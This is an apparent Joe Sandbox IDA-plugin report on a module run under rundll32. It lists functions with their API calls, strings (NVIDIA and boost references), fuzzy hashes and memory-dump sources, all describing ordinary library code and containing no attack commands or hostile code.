Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: std::_$LockitLockit::~_$ExceptionFacet_RegisterThrowstd::bad_alloc::bad_alloc
String ID:
API String ID: 4037175018-0
Opcode ID: 91d7009424cf7f8f6273e284ac38f090ccebdf3a332c76e25038c969edfad724
Instruction ID: 3f2cee0c2821c936527b5ef095784bea611924b35528aea5e80f8187db470469
Opcode Fuzzy Hash: 91d7009424cf7f8f6273e284ac38f090ccebdf3a332c76e25038c969edfad724
Instruction Fuzzy Hash: 4E313332A0EE42A1EB119B25E5400B96761EF947E4F180231DA6D43BE5DF3CE456C768

Function 00007FF8A8D1F83C Relevance: 7.6, APIs: 5, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF8A8D1F8AB
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF8A8D1F91A
_CxxThrowException.LIBVCRUNTIME ref: 00007FF8A8D1F92B
std::_Facet_Register.LIBCPMT ref: 00007FF8A8D1F955
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF8A8D1F960

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: std::_$LockitLockit::~_$ExceptionFacet_RegisterThrowstd::bad_alloc::bad_alloc
String ID:
API String ID: 4037175018-0
Opcode ID: f348b5a8d20156a74959f8356c0bad4ce0e4209d7e9d697c9d0d97b5adfd605d
Instruction ID: 1e99a749cc3bb8275e0da766bbf908b369f07f64c5ebbe2e3dd09f502961ba2d
Opcode Fuzzy Hash: f348b5a8d20156a74959f8356c0bad4ce0e4209d7e9d697c9d0d97b5adfd605d
Instruction Fuzzy Hash: BA315372A0EA42B1EB119B25E5400B96361FF947E4F180232DA7D03AE5DF3CE45AC768

Function 00007FF8A8DDFFB0 Relevance: 7.6, APIs: 5, Instructions: 60threadCOMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF8A8DDFFD4
CreateThread.KERNEL32 ref: 00007FF8A8DE0015
GetLastError.KERNEL32 ref: 00007FF8A8DE0023
CloseHandle.KERNEL32 ref: 00007FF8A8DE0040
FreeLibrary.KERNEL32 ref: 00007FF8A8DE004F

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: CloseCreateErrorFreeHandleLastLibraryThread_invalid_parameter_noinfo
String ID:
API String ID: 2067211477-0
Opcode ID: b11c5641bf4848fb608eb9749dc857ac8897b4fee8caf6aa4f1a069ddcab5a7a
Instruction ID: d9e2af642f17cad82e8651c8c46ef1ee2e6e8a22bcf8a3d68fa8683ec29e4505
Opcode Fuzzy Hash: b11c5641bf4848fb608eb9749dc857ac8897b4fee8caf6aa4f1a069ddcab5a7a
Instruction Fuzzy Hash: FD215B35A0B742A2EF15DBA1E41057AA2A4FF84BC0F080431DA6D43B55EF3CE918C628

Function 00007FF8A8D446F8 Relevance: 7.5, APIs: 5, Instructions: 40COMMON

Download Yara Rule

APIs

CoInitializeEx.OLE32 ref: 00007FF8A8D4471D
_com_issue_error.COMSUPP ref: 00007FF8A8D44729
CoInitializeSecurity.OLE32 ref: 00007FF8A8D44753
_com_issue_error.COMSUPP ref: 00007FF8A8D4475F
_com_issue_error.COMSUPP ref: 00007FF8A8D4476F

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: _com_issue_error$Initialize$Security
String ID:
API String ID: 601672203-0
Opcode ID: 71e2f57c4ad06176b4a5f6e6c297fe6c2ad8f9ea88118bc92160f530134c9719
Instruction ID: 36b8ab13167ea56227b4753055797686b85f437904be2e63bc99185d333352ed
Opcode Fuzzy Hash: 71e2f57c4ad06176b4a5f6e6c297fe6c2ad8f9ea88118bc92160f530134c9719
Instruction Fuzzy Hash: A601C030F2A342A2FB609B30A84133A2951FB813E4F504238D5BA836C0EF7CE0498628

Function 00007FF8A8CFC064 Relevance: 7.5, APIs: 5, Instructions: 31memoryCOMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(?,?,00000000,00007FF8A8CFB851), ref: 00007FF8A8CFC070
GetSystemDirectoryW.KERNEL32(?,?,00000000,00007FF8A8CFB851), ref: 00007FF8A8CFC07A
LocalAlloc.KERNEL32(?,?,00000000,00007FF8A8CFB851), ref: 00007FF8A8CFC08C
GetSystemDirectoryW.KERNEL32(?,?,00000000,00007FF8A8CFB851), ref: 00007FF8A8CFC09F
LocalFree.KERNEL32(?,?,00000000,00007FF8A8CFB851), ref: 00007FF8A8CFC0B0

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: DirectoryLocalSystem$AllocErrorFreeLast
String ID:
API String ID: 3438206570-0
Opcode ID: e8e0697e775eeb8f850b266a739133e9cdd53a1c2cc3d1dc94198358dc3c644c
Instruction ID: 7fb2c49946754ed3f476a60e9409269909db96157a6d4c0bdca1e318b61beee3
Opcode Fuzzy Hash: e8e0697e775eeb8f850b266a739133e9cdd53a1c2cc3d1dc94198358dc3c644c
Instruction Fuzzy Hash: D0F05431F0674292FF589B36B84963A5192EF9CBC1F498039C94E86354FF3CE9594618

Function 00007FF8A8DE6F50 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 211COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF8A8DE71F6

Part of subcall function 00007FF8A8DC9490: _invalid_parameter_noinfo.LIBCMT ref: 00007FF8A8DC94AD

Strings

UTF-8, xrefs: 00007FF8A8DE7179
ccs, xrefs: 00007FF8A8DE7142
UTF-16LEUNICODE, xrefs: 00007FF8A8DE719A

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: b90288df779b9b6e8328ed50a32dda5d8e005626617a8c2cc2b21d174ab3dae3
Instruction ID: 1292a5734309b060c2a751043a0d49c0a3e9aa4777a09f9f4e76f1bab283313a
Opcode Fuzzy Hash: b90288df779b9b6e8328ed50a32dda5d8e005626617a8c2cc2b21d174ab3dae3
Instruction Fuzzy Hash: 0F81B271D0E243A7F7F94A38C65067D2BA0DF127C8F156031CA2E472D5EF2DA8099329

Function 00007FF8A8D7DDE0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 122COMMON

Download Yara Rule

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF8A8D7DE57

Part of subcall function 00007FF8A8D2E228: _Init_thread_footer.LIBCMT ref: 00007FF8A8D2E2EB

Strings

_tsReadContent, xrefs: 00007FF8A8D7DEBB
Failed to allocate memory, xrefs: 00007FF8A8D7DE47
GridCloudLicensingTrustedStorage.cpp, xrefs: 00007FF8A8D7DE94

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: Init_thread_footerswprintf
String ID: Failed to allocate memory$GridCloudLicensingTrustedStorage.cpp$_tsReadContent
API String ID: 732731317-3783116900
Opcode ID: 27fd23e2e01eff0e6d1b877c01c8bbb73c2517a92e4d72d88ea0487d4f337d1e
Instruction ID: 55f9dd47910f64647587f93235b5c4140b63281228b2b856e90e4429d34158cd
Opcode Fuzzy Hash: 27fd23e2e01eff0e6d1b877c01c8bbb73c2517a92e4d72d88ea0487d4f337d1e
Instruction Fuzzy Hash: A3517D32A0AB82A9EB10DF60E8406EDB7B4FB44398F500136DA5D53B69DF3CE159CB54

Function 00007FF8A8D1BD68 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 107COMMON

Download Yara Rule

APIs

_Getcvt.LIBCPMT ref: 00007FF8A8D1BDA0
_Getcvt.LIBCPMT ref: 00007FF8A8D1BDC9

Strings

true, xrefs: 00007FF8A8D1BE5B
false, xrefs: 00007FF8A8D1BE14

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: Getcvt
String ID: false$true
API String ID: 1921796781-2658103896
Opcode ID: 8a79c84103cf4eda12ac1b0f2bcbe0e62bb724e9a1bc4a266add58ddfa309b42
Instruction ID: 0247e428a5de13181b0b5765cbfa2533f2dade2bf5c8a410e3b2f73523df0e55
Opcode Fuzzy Hash: 8a79c84103cf4eda12ac1b0f2bcbe0e62bb724e9a1bc4a266add58ddfa309b42
Instruction Fuzzy Hash: A641F266A0AB81A1EB159B21910427D6BA1EF44FD8F148635CF6D0779ACF3CE41EC368

Function 00007FF8A8D95060 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 97libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,?,00000000,00007FF8A8D94FF7,?,?,00000000,00007FF8A8D95263,?,?,00000000,00007FF8A8D95500,?,?,?,00007FF8A8D2F206), ref: 00007FF8A8D9507F
GetProcAddress.KERNEL32(?,?,00000000,00007FF8A8D94FF7,?,?,00000000,00007FF8A8D95263,?,?,00000000,00007FF8A8D95500,?,?,?,00007FF8A8D2F206), ref: 00007FF8A8D95096

Strings

nvapi_QueryInterface, xrefs: 00007FF8A8D95078
nvapi_Direct_GetMethod, xrefs: 00007FF8A8D95085

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: AddressProc
String ID: nvapi_Direct_GetMethod$nvapi_QueryInterface
API String ID: 190572456-541830060
Opcode ID: d680ba42e6397bfd4bcb16b1e5d61a8a8567ead19b88992c526a86b536d0f24f
Instruction ID: 6eac5847f7e3481bf9eed6928fd05fb6445899231f8ff04d24544551ce30c06a
Opcode Fuzzy Hash: d680ba42e6397bfd4bcb16b1e5d61a8a8567ead19b88992c526a86b536d0f24f
Instruction Fuzzy Hash: B5412970A0BF02B6EE959B55BD9013432A2EF847D0F480539C9AD47BA4FF3CA4648238

Function 00007FF8A8D1E890 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 97COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8A8D2051C: __std_exception_copy.LIBVCRUNTIME ref: 00007FF8A8D2058E

Part of subcall function 00007FF8A8D96700: EnterCriticalSection.KERNEL32 ref: 00007FF8A8D96710

Part of subcall function 00007FF8A8D20048: __std_exception_copy.LIBVCRUNTIME ref: 00007FF8A8D200BA

_Init_thread_footer.LIBCMT ref: 00007FF8A8D1E9C3

Strings

C:\dvs\p4\build\sw\tools\boost\boost-1.62.0\boost/exception/detail/exception_ptr.hpp, xrefs: 00007FF8A8D1E90D
bad exception, xrefs: 00007FF8A8D1E8CD
class boost::exception_ptr __cdecl boost::exception_detail::get_static_exception_object<struct boost::exception_detail::bad_exception_>(void), xrefs: 00007FF8A8D1E902

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: __std_exception_copy$CriticalEnterInit_thread_footerSection
String ID: C:\dvs\p4\build\sw\tools\boost\boost-1.62.0\boost/exception/detail/exception_ptr.hpp$bad exception$class boost::exception_ptr __cdecl boost::exception_detail::get_static_exception_object<struct boost::exception_detail::bad_exception_>(void)
API String ID: 573191702-3549958519
Opcode ID: 91f75407d11eaa5e7c8b77454c6988bd323d2e217cd2083b7fc69055ee39d9d1
Instruction ID: 15e4588d6c9144c100360848de3b694f0e12400e289d2bf9525f166419c38a4d
Opcode Fuzzy Hash: 91f75407d11eaa5e7c8b77454c6988bd323d2e217cd2083b7fc69055ee39d9d1
Instruction Fuzzy Hash: 0B514D32B06F46E9EB10DB64E8402A833B5FB44798F404135DA6D537A5EF3CE568C368

Function 00007FF8A8DBB8F0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32 ref: 00007FF8A8DBB930
GetLastError.KERNEL32 ref: 00007FF8A8DBB955

Part of subcall function 00007FF8A8DBADF0: _Init_thread_footer.LIBCMT ref: 00007FF8A8DBAE4A

_CxxThrowException.LIBVCRUNTIME ref: 00007FF8A8DBBA0D

Part of subcall function 00007FF8A8DBC670: GetFileAttributesW.KERNEL32 ref: 00007FF8A8DBC6B7

Strings

boost::filesystem::create_directory, xrefs: 00007FF8A8DBB9BF

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: AttributesCreateDirectoryErrorExceptionFileInit_thread_footerLastThrow
String ID: boost::filesystem::create_directory
API String ID: 724045827-2941204237
Opcode ID: 0be57c52dd55e4bdb212c85267b57fad735851d4c37a9902dfc115765fa4dbd2
Instruction ID: 4ab5d5a56bd39b010b22c13d1dcc336f4f50bf930b315bffad8f07157c3e998f
Opcode Fuzzy Hash: 0be57c52dd55e4bdb212c85267b57fad735851d4c37a9902dfc115765fa4dbd2
Instruction Fuzzy Hash: E531A63290EB86E9EB209F24E4443AA73A0FF847D4F144231DAAC07695EF7CD549CB24

Function 00007FF8A8DB9BC0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,?,00007FF8A8DB9637), ref: 00007FF8A8DB9C09
GetProcAddress.KERNEL32(?,?,?,00007FF8A8DB9637), ref: 00007FF8A8DB9C19

Strings

GetTickCount64, xrefs: 00007FF8A8DB9C12
KERNEL32.DLL, xrefs: 00007FF8A8DB9C02

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetTickCount64$KERNEL32.DLL
API String ID: 1646373207-3320051239
Opcode ID: dc403231dfa1d52cf7b6050baa07f30946f08faffa56d843578ffbb4075026e3
Instruction ID: acb6d2ae6c5d748dc5b03654b504ebbfcdfd27a14520365ca4210f1fb6927fa6
Opcode Fuzzy Hash: dc403231dfa1d52cf7b6050baa07f30946f08faffa56d843578ffbb4075026e3
Instruction Fuzzy Hash: 3E310762B1AA81E2DF08CF19E45027833A0EB84BD4F448136E62E477E9EF3CD495C314

Function 00007FF8A8D2E43C Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 71comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32 ref: 00007FF8A8D2E46D

Part of subcall function 00007FF8A8D2E228: _Init_thread_footer.LIBCMT ref: 00007FF8A8D2E2EB

Strings

NvXDCore.cpp, xrefs: 00007FF8A8D2E4AE, 00007FF8A8D2E4BD
GetSyncProxy, xrefs: 00007FF8A8D2E4DE, 00007FF8A8D2E4ED
Create Sync Proxy singlton error, xrefs: 00007FF8A8D2E506

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: CreateInit_thread_footerInstance
String ID: Create Sync Proxy singlton error$GetSyncProxy$NvXDCore.cpp
API String ID: 3436645735-4261199731
Opcode ID: 991a21e73c6d4c671791728da31033ebcb8c2e98bda0386184e0adc56be0fd8b
Instruction ID: 319ab48a5dedd15b957e087381f70ed0a6b0ac5e0e450cef967f098bc1944450
Opcode Fuzzy Hash: 991a21e73c6d4c671791728da31033ebcb8c2e98bda0386184e0adc56be0fd8b
Instruction Fuzzy Hash: D831FC32A06B46E9E710DFA0E4402DD33B8FB4439CF804636DA5D57A99EF38D619C358

Function 00007FF8A8CFADB4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58memoryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?,?,cryptnet.dll,00007FF8A8CFA9DB), ref: 00007FF8A8CFADDD
